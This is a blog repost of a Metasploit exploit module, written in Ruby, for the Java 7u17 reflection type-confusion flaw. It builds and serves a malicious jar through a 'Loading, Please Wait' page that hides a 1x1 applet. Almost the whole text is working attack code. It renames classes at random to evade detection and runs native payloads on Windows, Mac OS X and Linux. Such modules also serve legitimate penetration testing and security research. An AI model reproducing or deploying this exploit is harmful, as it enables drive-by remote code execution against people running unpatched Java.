Java Applet Reflection Type Confusion Remote Code Execution
测试方法:
- ##
- # This file is part of the Metasploit Framework and may be subject to
- # redistribution and commercial restrictions. Please see the Metasploit
- # web site for more information on licensing and terms of use.
- # http://metasploit.com/
- ##
- require'msf/core'
- require'rex'
- classMetasploit3<Msf::Exploit::Remote
- Rank=ExcellentRanking
- include Msf::Exploit::Remote::HttpServer::HTML
- include Msf::Exploit::EXE
- include Msf::Exploit::Remote::BrowserAutopwn
- autopwn_info({:javascript =>false})
- def initialize( info ={})
- super( update_info( info,
- 'Name'=>'Java Applet Reflection Type Confusion Remote Code Execution',
- 'Description'=>%q{
- Thismodule abuses JavaReflection to generate a TypeConfusion, due to a weak
- access control when setting final fields on static classes,and run code outside of
- the JavaSandbox.The vulnerability affects Java version 7u17and earlier.This
- exploit doesn't bypass click-to-play, so the user must accept the java warning in
- order to run the malicious applet.
- },
- 'License' => MSF_LICENSE,
- 'Author' =>
- [
- 'JeroenFrijters', # Vulnerability discovery and PoC
- 'juan vazquez' # Metasploit module
- ],
- 'References' =>
- [
- [ 'URL', 'http://weblog.ikvm.net/PermaLink.aspx?guid=acd2dd6d-1028-4996-95df-efa42ac237f0' ],
- ['URL','http://www.oracle.com/technetwork/topics/security/javacpuapr2013-1928497.html']
- ],
- 'Platform'=>['java','win','osx','linux'],
- 'Payload'=>{'Space'=>20480,'BadChars'=>'','DisableNops'=>true},
- 'Targets'=>
- [
- ['Generic (Java Payload)',
- {
- 'Platform'=>['java'],
- 'Arch'=> ARCH_JAVA,
- }
- ],
- ['Windows x86 (Native Payload)',
- {
- 'Platform'=>'win',
- 'Arch'=> ARCH_X86,
- }
- ],
- ['Mac OS X x86 (Native Payload)',
- {
- 'Platform'=>'osx',
- 'Arch'=> ARCH_X86,
- }
- ],
- ['Linux x86 (Native Payload)',
- {
- 'Platform'=>'linux',
- 'Arch'=> ARCH_X86,
- }
- ],
- ],
- 'DefaultTarget'=>0,
- 'DisclosureDate'=>'Jan 10 2013'
- ))
- end
- def setup
- path =File.join(Msf::Config.install_root,"data","exploits","jre7u17","Exploit.class")
- @exploit_class=File.open(path,"rb"){|fd| fd.read(fd.stat.size)}
- path =File.join(Msf::Config.install_root,"data","exploits","jre7u17","Union1.class")
- @union1_class=File.open(path,"rb"){|fd| fd.read(fd.stat.size)}
- path =File.join(Msf::Config.install_root,"data","exploits","jre7u17","Union2.class")
- @union2_class=File.open(path,"rb"){|fd| fd.read(fd.stat.size)}
- path =File.join(Msf::Config.install_root,"data","exploits","jre7u17","SystemClass.class")
- @system_class=File.open(path,"rb"){|fd| fd.read(fd.stat.size)}
- @exploit_class_name= rand_text_alpha("Exploit".length)
- @exploit_class.gsub!("Exploit",@exploit_class_name)
- super
- end
- def on_request_uri(cli, request)
- print_status("handling request for #{request.uri}")
- case request.uri
- when/\.jar$/i
- jar = payload.encoded_jar
- jar.add_file("#{@exploit_class_name}.class",@exploit_class)
- jar.add_file("Union1.class",@union1_class)
- jar.add_file("Union2.class",@union2_class)
- jar.add_file("SystemClass.class",@system_class)
- metasploit_str = rand_text_alpha("metasploit".length)
- payload_str = rand_text_alpha("payload".length)
- jar.entries.each {|entry|
- entry.name.gsub!("metasploit", metasploit_str)
- entry.name.gsub!("Payload", payload_str)
- entry.data = entry.data.gsub("metasploit", metasploit_str)
- entry.data = entry.data.gsub("Payload", payload_str)
- }
- jar.build_manifest
- send_response(cli, jar,{'Content-Type'=>"application/octet-stream"})
- when/\/$/
- payload = regenerate_payload(cli)
- ifnot payload
- print_error("Failed to generate the payload.")
- send_not_found(cli)
- return
- end
- send_response_html(cli, generate_html,{'Content-Type'=>'text/html'})
- else
- send_redirect(cli, get_resource()+'/','')
- end
- end
- def generate_html
- html =%Q|<html><head><title>Loading,PleaseWait...</title></head>|
- html +=%Q|<body><center><p>Loading,PleaseWait...</p></center>|
- html +=%Q|<applet archive="#{rand_text_alpha(8)}.jar" code="#{@exploit_class_name}.class" width="1" height="1">|
- html +=%Q|</applet></body></html>|
- return html
- end
- end
转载于:https://www.cnblogs.com/security4399/archive/2013/04/25/3043667.html
Java Applet Reflection Type Confusion Remote Code Execution相关推荐
- CVE-2014-6321 MS14-066 Microsoft Schannel Remote Code Execution Vulnerability Analysis
目录 1. 漏洞的起因 2. 漏洞原理分析 3. 漏洞的影响范围 4. 漏洞的利用场景 5. 漏洞的POC.测试方法 6. 漏洞的修复Patch情况 7. 如何避免此类漏洞继续出现 1. 漏洞的起因 ...
- php图片写入带问号_php-fpm Remote Code Execution 分析(CVE-2019-11043)
漏洞简介 国外安全研究员 Andrew Danau发现向服务器请求的URL中包含%0a 符号时,服务返回异常,疑似存在漏洞. Nginx+php-fpm的环境中,若Nginx上的fastcgi_spl ...
- java以32位运行,强制java applet以32位而不是64位JRE运行
我有一个Java applet,设计在32位JDK(1.5)下.在新MacOS(10.7)上部署它时,它运行不正确 - 因为该系统默认首选64位JRE(有两种供选择,32和64位).如果首选顺序先更改 ...
- IDE中使用package打包出现java.lang.TypeNotPresentException: Type org.springframework.boot.maven.RepackageMoj
场景 后台框架:springcloud,开发工具:Idea,仓库:maven 描述:在项目中使用package 对项目进行打包时抛出异常,具体信息如下: [INFO] --- spring-boot- ...
- Java反射系列--Type接口及其子接口
原文网址:Java反射系列--Type接口及其子接口_IT利刃出鞘的博客-CSDN博客 简介 说明 Type 是java反射机制中提供的一个接口,用来表示java中的所有类型的接口.它们包括原始类型. ...
- java applet js_jsp嵌入java-applet,实现js调用web服务器程序
1.applet介绍 Applet是一种Java的小程序,它通过使用该Applet的HTML文件,由支持Java的网页浏览器下载运行. 2.编写一个applet类 import java.applet ...
- Java Applet 基础
Java Applet 基础 Applet 是一种 Java 程序.它一般运行在支持 Java 的 Web 浏览器内.因为它有完整的 Java API支持,所以Applet 是一个全功能的 Java ...
- JAVA教程 第六讲 Java的线程和Java Applet(二)
6.3 Java Applet 前面的章节我们阐述了Application的应用,这一讲我们将介绍java的另一类应用java Applet,即java小应用程序. 在Java问世的头几年里,之所以如 ...
- Java网页小程序——Java Applet
Java Applet是编译过的Java程序,可以在所有支持Java的浏览器中运行. 1.Applet的使用 import java.applet.Applet; import java.awt.Gr ...
- java applet配置_配置Java Applet的运行环境
Java小程序,也就是Java Applet,可以在Web浏览器中运行.Java Applet必须以脚本的形式嵌入到HTML页面中,才能在web浏览器中运行. 之前总以为本地安装了JDK,指定好JAV ...
最新文章
- IBM 数据科学平台三大特性解决数据科学家协作问题
- 天池大赛通用目标检测的对抗攻击方法一览
- Git Flow分支策略与Azure DevOps相关功能简介
- 分页插件PageHelper配置步骤(mybatis)
- 将Maven项目发布到Nexus私服
- 双向口 与 准双向口 区别
- 基于JAVA+SpringMVC+Mybatis+MYSQL的OA办公系统
- controller属于哪一层_五种皮肤类型,那你属于哪一种,你知道吗?
- Java 垃圾回收机制
- 练习四十四:整数的排序
- linux+ tomcat 遇到ClientAbortException: java.net.SocketException: Broken pipe
- 得力计算机无法开机,得力针式打印机常见问题及解决方法
- Profinet协议基础知识(一)
- 计算机系统硬盘内存主频,内存时序和频率_内存硬盘-中关村在线
- html表格列宽度 比例,HTML表格的整体宽度,以及各列的宽度均可以由( )属性来控制。...
- 【技术白皮书】第一章:基于深度学习的文本检测与识别的技术背景
- 没有学历怎么找运维工作?
- QT应用编程: 域名解析(域名转IP)
- 2022第十四届环泰山T60线上大徒步活动线下启动仪式圆满结束
- 《微型计算机原理与接口技术》复习笔记(二)